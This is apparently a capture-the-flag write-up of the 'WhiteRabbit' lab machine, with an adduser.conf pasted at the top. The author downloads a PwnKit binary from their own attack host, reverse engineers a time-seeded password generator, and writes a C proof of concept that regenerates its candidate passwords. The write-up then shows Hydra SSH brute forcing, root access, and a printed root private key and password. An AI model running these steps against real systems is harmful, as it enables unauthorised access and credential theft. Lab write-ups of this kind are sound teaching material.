# See adduser(8) and adduser.conf(5) for full documentation.
# A commented out setting indicates that this is the default in the
# code. If you need to change those settings, remove the comment and
# make your intended change.
# STDERRMSGLEVEL, STDOUTMSGLEVEL, and LOGMSGLEVEL set the minimum
# priority for messages logged to syslog/journal and the console,
# respectively.
# Values are trace, debug, info, warn, err, and fatal.
# Messages with the set priority or higher get logged to the
# respective medium.
#STDERRMSGLEVEL=warn
#STDOUTMSGLEVEL=info
#SYSLOGLEVEL=info
# The login shell to be used for all new users.
# Default: DSHELL=/bin/bash
#DSHELL=/bin/bash
# The directory in which new home directories should  be  created.
# Default: DHOME=/home
# DHOME=/home
# The directory from which skeletal user configuration files
# will be copied.
# Default: SKEL=/etc/skel
#SKEL=/etc/skel
# Specify inclusive ranges of UIDs and GIDs from which UIDs and GIDs
# for system users, system groups, non-system users and non-system groups
# can be dynamically allocated.
# Default: FIRST_SYSTEM_UID=100, LAST_SYSTEM_UID=999
#FIRST_SYSTEM_UID=100
#LAST_SYSTEM_UID=999
# Default: FIRST_SYSTEM_GID=100, LAST_SYSTEM_GID=999
#FIRST_SYSTEM_GID=100
#LAST_SYSTEM_GID=999
# Default: FIRST_UID=1000, LAST_UID=59999
#FIRST_UID=1000
#LAST_UID=59999
# Default: FIRST_GID=1000, LAST_GID=59999
#FIRST_GID=1000
#LAST_GID=59999
# Specify a file or a directory containing UID and GID pool.
#UID_POOL=/etc/adduser-pool.conf
#UID_POOL=/etc/adduser-pool.d/
#GID_POOL=/etc/adduser-pool.conf
#GID_POOL=/etc/adduser-pool.d/
# Specify whether each created non-system user will be
# given their own group to use.
# Default: USERGROUPS=yes
#USERGROUPS=yes
# Defines the groupname or GID of the group all newly-created
# non-system users are placed into.
# It is a configuration error to define both variables
# even if the values are consistent.
# Default: USERS_GID=undefined, USERS_GROUP=users
#USERS_GID=100
#USERS_GROUP=users
# The permissions mode for home directories of non-system users.
# Default: DIR_MODE=0750
#DIR_MODE=0750
# The permissions mode for home directories of system users.
# Default: SYS_DIR_MODE=0750
#SYS_DIR_MODE=0750
# If set to a nonempty value, new users will have quotas copied
# from that user with `edquota -p QUOTAUSER newuser’
# Default: QUOTAUSER=”“
#QUOTAUSER=”“
# Non-system user- and groupnames are checked against this regular
# expression.
# Default: NAME_REGEX=”^[a-z][-a-z0-9_]*\$?$”
#NAME_REGEX=”^[a-z][-a-z0-9_]*\$?$”
# System user- and groupnames are checked against this regular
# expression.
# Default: SYS_NAME_REGEX=”^[A-Za-z_][-A-Za-z0-9_]*\$?$”
#SYS_NAME_REGEX=”^[A-Za-z_][-A-Za-z0-9_]*\$?$”
# When populating the newly created home directory of a non-system user,
# files in SKEL matching this regex are not copied.
# Default: SKEL_IGNORE_REGEX=”\.(dpkg|ucf)-(old|new|dist|save)$”
#SKEL_IGNORE_REGEX=”\.(dpkg|ucf)-(old|new|dist|save)$”
# list of groups that new non-system users will be added to
# if ADD_EXTRA_GROUPS is non-zero or set on the command line.
# Default: EXTRA_GROUPS=”users”
#EXTRA_GROUPS=”users”
# Setting this to something other than 0 will cause adduser to add
# newly created non-system users to the list of groups defined by
# EXTRA_GROUPS.
# Default: ADD_EXTRA_GROUPS=0
#ADD_EXTRA_GROUPS=0
# use extrausers by default
#USE_EXTRAUSERS=1

But since we Got PwnKit, let’s try that one first. . .And nope:

morpheus@whiterabbit:/tmp$ wget http://10.10.14.115:9004/PwnKit
--2025-11-07 03:58:06--  http://10.10.14.115:9004/PwnKit
Connecting to 10.10.14.115:9004... connected.
HTTP request sent, awaiting response... 200 OK
Length: 18040 (18K) [application/octet-stream]
Saving to: ‘PwnKit’
PwnKit                                                     100%[========================================================================================================================================>]  17.62K  70.2KB/s    in 0.3s    
2025-11-07 03:58:07 (70.2 KB/s) - ‘PwnKit’ saved [18040/18040]
morpheus@whiterabbit:/tmp$ chmod +x PwnKit 
morpheus@whiterabbit:/tmp$ ./PwnKit 
morpheus@whiterabbit:/tmp$ ./PwnKit id
Failed to copy file: File exists
morpheus@whiterabbit:/tmp$ ./PwnKit 'id'
Failed to copy file: File exists
morpheus@whiterabbit:/tmp$ 

Failed, we now go back to the Neo Password Generator:

<details> <summary>Click to view text output</summary>
morpheus@whiterabbit:/opt$ ls -al
total 20
drwxr-xr-x  5 root root 4096 Aug 30  2024 .
drwxr-xr-x 22 root root 4096 Mar 24  2025 ..
drwx--x--x  4 root root 4096 Aug 27  2024 containerd
drwxr-x--- 10 root root 4096 Sep 16  2024 docker
drwxr-xr-x  2 root root 4096 Aug 30  2024 neo-password-generator
morpheus@whiterabbit:/opt$ cd neo-password-generator
morpheus@whiterabbit:/opt/neo-password-generator$ ls
neo-password-generator
morpheus@whiterabbit:/opt/neo-password-generator$ file neo-password-generator 
-bash: file: command not found
morpheus@whiterabbit:/opt/neo-password-generator$ neo-password-generator -h
-bash: neo-password-generator: command not found
morpheus@whiterabbit:/opt/neo-password-generator$ neo-password-generator
-bash: neo-password-generator: command not found
morpheus@whiterabbit:/opt/neo-password-generator$ chmod +x neo-password-generator
chmod: changing permissions of ‘neo-password-generator’: Operation not permitted
morpheus@whiterabbit:/opt/neo-password-generator$ 
</details>

Seems we can’t run it. Let’s just brings whis bad boy back to our Kali Attack machine:

<details> <summary>Click to view text output</summary>
morpheus@whiterabbit:/opt/neo-password-generator$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:94:b9:28 brd ff:ff:ff:ff:ff:ff
    altname enp3s0
    altname ens160
    inet 10.10.11.63/23 brd 10.10.11.255 scope global eth0
       valid_lft forever preferred_lft forever
3: docker0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 36:86:c2:4b:c3:d7 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever
4: br-42731ee60b9c: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 4a:4f:96:15:04:2f brd ff:ff:ff:ff:ff:ff
    inet 172.18.0.1/16 brd 172.18.255.255 scope global br-42731ee60b9c
       valid_lft forever preferred_lft forever
5: vethfb70e73@if2: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-42731ee60b9c state UP group default 
    link/ether 7e:be:56:75:12:d7 brd ff:ff:ff:ff:ff:ff link-netnsid 0
6: veth0cb63ef@if2: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-42731ee60b9c state UP group default 
    link/ether f2:df:b2:5d:6b:35 brd ff:ff:ff:ff:ff:ff link-netnsid 1
7: veth5421644@if2: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master docker0 state UP group default 
    link/ether 2a:07:9b:49:f3:dc brd ff:ff:ff:ff:ff:ff link-netnsid 2
8: veth7d75246@if2: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-42731ee60b9c state UP group default 
    link/ether 1a:a5:e0:3a:e5:b3 brd ff:ff:ff:ff:ff:ff link-netnsid 3
9: veth56a9c01@if2: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-42731ee60b9c state UP group default 
    link/ether f6:f7:1b:33:e9:2a brd ff:ff:ff:ff:ff:ff link-netnsid 4
10: veth583d9dc@if2: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-42731ee60b9c state UP group default 
    link/ether 8a:94:81:1e:ea:00 brd ff:ff:ff:ff:ff:ff link-netnsid 5
11: vethc4c6fd4@if2: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-42731ee60b9c state UP group default 
    link/ether 1a:dd:b4:05:b3:33 brd ff:ff:ff:ff:ff:ff link-netnsid 6
12: vethffe2e17@if2: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-42731ee60b9c state UP group default 
    link/ether 4a:08:f8:ed:10:83 brd ff:ff:ff:ff:ff:ff link-netnsid 7
morpheus@whiterabbit:/opt/neo-password-generator$
</details>

Kali Attack machine:

┌──(kali㉿kali)-[~]
└─$ ls -al               
total 24
drwxr-xr-x 2 root root  4096 Nov  7 04:05 .
drwxr-xr-x 7 root root  4096 Nov  7 04:05 ..
-rw-r--r-- 1 root root 15656 Aug 30  2024 neo-password-generator
                                                                                                                                                                                                                                            
┌──(kali㉿kali)-[~]
└─$ file neo-password-generator                                                                                                       
neo-password-generator: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=479371f0c8046cb87ba4b6c3af5bc821a46d5871, for GNU/Linux 4.4.0, not stripped
┌──(kali㉿kali)-[~]
└─$ xxd -l 32 neo-password-generator 
00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000  .ELF............
00000010: 0300 3e00 0100 0000 8010 0000 0000 0000  ..>.............

So it’s some kind or containing ELF based.

┌──(kali㉿kali)-[~]
└─$ xxd -l 128 neo-password-generator
00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000  .ELF............
00000010: 0300 3e00 0100 0000 8010 0000 0000 0000  ..>.............
00000020: 4000 0000 0000 0000 a835 0000 0000 0000  @........5......
00000030: 0000 0000 4000 3800 0d00 4000 1e00 1d00  ....@.8...@.....
00000040: 0600 0000 0400 0000 4000 0000 0000 0000  ........@.......
00000050: 4000 0000 0000 0000 4000 0000 0000 0000  @.......@.......
00000060: d802 0000 0000 0000 d802 0000 0000 0000  ................
00000070: 0800 0000 0000 0000 0300 0000 0400 0000  ................                                                                  
  1. Cryptography Structure Analysis and Reverse Engineering

Ghidra for Cyptography and RE:

Until we execute generate password section:

After looking at this, there’s a possible algorithm on pattern, which probably means to generate a random password based on the current timestamp, and the password length are around 20 bits.

Possible variables like such:

<details> <summary>Click to view text output</summary>
'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789',0
 
unsigned __int64 __fastcall generate_password(unsigned int current_time_bysecond_struct)
{
  int i; 
  char password_string[24]; 
  unsigned __int64 v4;
 
  v4 = __readfsqword(0x28u);
  srand(current_time_bysecond_struct);
  for ( i = 0; i <= 19; ++i )
    password_string[i] = aAbcdefghijklmn[rand() % 62];
  password_string[20] = 0;
  puts(password_string);
  return v4 - __readfsqword(0x28u);
}
 
int __fastcall main(int argc, const char **argv, const char **envp)
{
  struct timeval current_time_bysecond;
  unsigned __int64 v5;
 
  v5 = __readfsqword(0x28u);
  gettimeofday(&current_time_bysecond, 0LL);
  generate_password(1000 * LODWORD(current_time_bysecond.tv_sec) + current_time_bysecond.tv_usec / 1000);
  return 0;
}
</details>

Note: The content is not defined explicitly in the code, however it is defined in the data area of the program assembly code.

  1. When the program starts, first initialize onetimeval Structure. According to the network query, the structure is used to store system time information. Structure is stored in tv.secand tv.usec The two variables on tv_sec The timestamp is stored, the accuracy is seconds, and the variable type istime_t; andtv.usec Stored is the microsecond value of a certain moment, and the maximum number of digits is 6 Bit integer, variable type is a normal integerint.

  2. After the initialization of the variable, the program execute sgettimeofday() Method, write the timestamp and microsecond value information of the current moment timeval Structure. Then the program called. generate_password Functions with parameters:tv_sec Multiply the timestamp value by 1000 The result plus tv.usec Divide the microsecond value by 1000 The result.

I just re-look at the SQLMap results earlier, seems Password generator for Neo are being used.

So after looking back at MySQL, MySQL The command execution record obtained in the database determines the timestamp value when the system administrator executes the password change command tv_sec Value is 1725028842, but that time stamp is only 10 Bit, accuracy only for seconds, does not contain time information in microseconds.

In this case, we can try to write C to attack it, in order to 1 miliseconds (1000Microseconds) for a cyclic unit, set tv_usec.

The value is generated according to the program logic and the password dictionary.

PoC:

<details> <summary>Click to view text output</summary>
#include<time.h>
#include<stdio.h>
#include<stdlib.h>
 
void generate_password(unsigned int modified_timestamp) {
    char password_string[24];
    char aAbcdefghijklmn[62] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
 
    srand(modified_timestamp);
    for (int i = 0; i <= 19; ++i)
        password_string[i] = aAbcdefghijklmn[rand() % 62];
    password_string[20] = '\0';
    puts(password_string);
}
 
int main() {
    int tv_usec;
    int tv_sec = 1725028842;
 
    for (int i = 0; i < 1000000; i = i + 1000) {
        tv_usec = i;
        generate_password(tv_sec * 1000 + tv_usec / 1000);
    }
    return 0;
}
</details>

Now we just need to compile it and run the script:

┌──(kali㉿kali)-[~]
└─$ sudo gcc attack.c -o attack.elf              
                                                                                                                                                                                                                                            
┌──(kali㉿kali)-[~]
└─$ sudo chmod +x attack.elf       
                                                                                                                                                                                                                                            
┌──(kali㉿kali)-[~]
└─$ sudo su                 
┌──(root㉿kali)-[/]
└─# ./attack.elf > neo_pass.lst

Great, it should be generating around 1000:

┌──(kali㉿kali)-[~]
└─$ cat neo_pass.lst| wc -l 
1000
  1. Hunting root Access Password Recovery

Just fire up our Neo User and Passwords lists, in this case it should be safe to use Hydra for recovery and SSH logon, supposed it’s on WhiteRabbit domain, so the ports are normal 22 for SSH:

hydra -l neo -P neo_pass.lst -f ssh://10.10.11.63 
┌──(kali㉿kali)-[~]
└─$ hydra -l neo -P neo_pass.lst -f ssh://10.10.11.63 
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-11-07 04:34:42
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 1000 login tries (l:1/p:1000), ~63 tries per task
[DATA] attacking ssh://10.10.11.63:22/
[22][ssh] host: 10.10.11.63   login: neo   password: WBSxhWgfnMiclrV4dqfj
[STATUS] attack finished for 10.10.11.63 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at

That’s it:

User: neo
password: WBSxhWgfnMiclrV4dqfj
┌──(kali㉿kali)-[~]
└─$ netexec ssh whiterabbit.htb -u neo -p 'WBSxhWgfnMiclrV4dqfj'
SSH         10.10.11.63     22     whiterabbit.htb  [*] SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.9
SSH         10.10.11.63     22     whiterabbit.htb  [*] Current user: ‘neo’ was in ‘sudo’ group, please try ‘--sudo-check’ to check if user can run sudo shell
SSH         10.10.11.63     22     whiterabbit.htb  [+] neo:WBSxhWgfnMiclrV4dqfj  Linux - Shell access!

And we’re in:

┌──(kali㉿kali)-[~]
└─$ ssh neo@whiterabbit.htb
neo@whiterabbit.htb’s password: 
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-57-generic x86_64)
 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the ‘unminimize’ command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
To run a command as administrator (user “root”), use “sudo <command>”.
See “man sudo_root” for details.
Last login: 
neo@whiterabbit:~$

And we got lucky since Neo User are also root, just doing my check-lists and Neo got root with sudo -i, supposed sudo su and others works to:

<details> <summary>Click to view bash output</summary>
neo@whiterabbit:~$ ls -al
total 28
drwxr-x--- 4 neo  neo  4096 Mar 24  2025 .
drwxr-xr-x 4 root root 4096 Aug 30  2024 ..
lrwxrwxrwx 1 neo  neo     9 Aug 27  2024 .bash_history -> /dev/null
-rw-r--r-- 1 neo  neo   220 Mar 31  2024 .bash_logout
-rw-r--r-- 1 neo  neo  3771 Mar 31  2024 .bashrc
drwx------ 2 neo  neo  4096 Aug 27  2024 .cache
-rw-r--r-- 1 neo  neo   807 Mar 31  2024 .profile
drwx------ 2 neo  neo  4096 Aug 27  2024 .ssh
neo@whiterabbit:~$ cd .ssh
neo@whiterabbit:~/.ssh$ ls
authorized_keys
neo@whiterabbit:~/.ssh$ cat authorized_keys 
neo@whiterabbit:~/.ssh$ cd ..
neo@whiterabbit:~$ sudo -i
[sudo] password for neo: 
root@whiterabbit:~# id
uid=0(root) gid=0(root) groups=0(root)
root@whiterabbit:~# cd /root
root@whiterabbit:~# ls -al
total 36
drwx------  6 root root 4096 Nov  7 04:01 .
drwxr-xr-x 22 root root 4096 Mar 24  2025 ..
lrwxrwxrwx  1 root root    9 Aug 27  2024 .bash_history -> /dev/null
-rw-r--r--  1 root root 3106 Apr 22  2024 .bashrc
drwx------  4 root root 4096 Aug 30  2024 .cache
drwx------  3 root root 4096 Aug 30  2024 .docker
drwxr-xr-x  3 root root 4096 Mar 24  2025 .local
-rw-r--r--  1 root root  161 Apr 22  2024 .profile
drwx------  2 root root 4096 Aug 30  2024 .ssh
-rw-r-----  1 root root   33 Nov  7 04:01 root.txt
root@whiterabbit:~# cd .ssh
root@whiterabbit:~/.ssh# ls -al
total 8
drwx------ 2 root root 4096 Aug 30  2024 .
drwx------ 6 root root 4096 Nov  7 04:01 ..
root@whiterabbit:~/.ssh# 
</details>

Let’s make the Key RSA for root:

<details> <summary>Click to view bash output</summary>
root@whiterabbit:~/.ssh# ls -al
total 8
drwx------ 2 root root 4096 Aug 30  2024 .
drwx------ 6 root root 4096 Nov  7 04:01 ..
root@whiterabbit:~/.ssh# ssh-keygen -t rsa -b 4096 -C "root@whiterabbit.htb"
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): /root/.ssh/id_rsa
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /root/.ssh/id_rsa
Your public key has been saved in /root/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:zh37iNkj29XuW2GgQ8XaCpFX1SnzJ2RMsqq9Yj1hi1w root@whiterabbit.htb
The key’s randomart image is:
+---[RSA 4096]----+
|          . +=o.o|
|         o ..*+..|
|          o.+++  |
|         ..o..o..|
|        S +o.  +.|
|       o +E+... .|
|       .+=+o. . .|
|        *=== . . |
|       .++=o..+. |
+----[SHA256]-----+
root@whiterabbit:~/.ssh# ls -al
total 16
drwx------ 2 root root 4096 Nov  7 04:42 .
drwx------ 6 root root 4096 Nov  7 04:01 ..
-rw------- 1 root root 3389 Nov  7 04:42 id_rsa
-rw-r--r-- 1 root root  746 Nov  7 04:42 id_rsa.pub
root@whiterabbit:~/.ssh# cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAACFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAgEAzLLmYXIB5uw8ELNuGQ6tLo+xCdliiJr18GWYQCeJ9wA2BiZuYJK7
ySgRen35uFpQab+jbiuJiFqai6Ujqt8mXFHQYdi8WG3ZIfUFgXvWG+TjihFpoxsU531Hu8
F/I2ijtx3uoJsS0mw5YbxYXC0s00CDEhzMO79gl7pHgVzEZFETpnxZayQDSdaQLSQHmJ5i
jvhqJj7bbBdhHMIxdOL54boV7JOdO7TG/w1vd0g90Q/PsjR1pqaWmKgY3IOM0Xm2CaVc6L
MtszUjHxUg3VLQGcpph4Xl4eL+TMot7xbLMg/S/9RM2sUlxY9pTr7s+wD2TG6ZZTw9bNqQ
Up48CeFS8nPDaTauFNKPIWIZmurpZOYNph9m4CGnVdO0PEqa1og8TvyrOFwZ5feUsANEiV
kxIgJRIfw53Rn3/cmTevjZSpqnsjsM95Ey5XfLKrB3zZJZOrNrCCaA3ZM35BujhthsJfGB
krrU3fP8ZCyN2VyRlTTkJ9mRkj1+sq1S6yoWeKKR5khhvUsf+5uWX1mdCljWi7GO7Y2Fce
XNjGingIsnSl6rL/ia03uf7mePsW6ZVWhWjBYZBTJamJY9oZdoeva48nD6MyUXb7l8pfYJ
ILq7W6H/Bi3LG/mJ2QqnipG5BxlCSmMGVhDdZ33DRmBzAKEYrX6i6tN9qCWhvy2q+U2mej
kAAAdQM7BC8TOwQvEAAAAHc3NoLXJzYQAAAgEAzLLmYXIB5uw8ELNuGQ6tLo+xCdliiJr1
8GWYQCeJ9wA2BiZuYJK7ySgRen35uFpQab+jbiuJiFqai6Ujqt8mXFHQYdi8WG3ZIfUFgX
vWG+TjihFpoxsU531Hu8F/I2ijtx3uoJsS0mw5YbxYXC0s00CDEhzMO79gl7pHgVzEZFET
pnxZayQDSdaQLSQHmJ5ijvhqJj7bbBdhHMIxdOL54boV7JOdO7TG/w1vd0g90Q/PsjR1pq
aWmKgY3IOM0Xm2CaVc6LMtszUjHxUg3VLQGcpph4Xl4eL+TMot7xbLMg/S/9RM2sUlxY9p
Tr7s+wD2TG6ZZTw9bNqQUp48CeFS8nPDaTauFNKPIWIZmurpZOYNph9m4CGnVdO0PEqa1o
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
-----END OPENSSH PRIVATE KEY-----
root@whiterabbit:~/.ssh#
</details>

Done, and we’re root and compromised the whole system. Hope you guys enjoy our journey.

Hope you all like it, Happy Hacking!

Cybersecurity Auditing Tools

Enhance your security posture with ZIntel. Comprehensive auditing and threat intelligence APIs designed for modern infrastructure.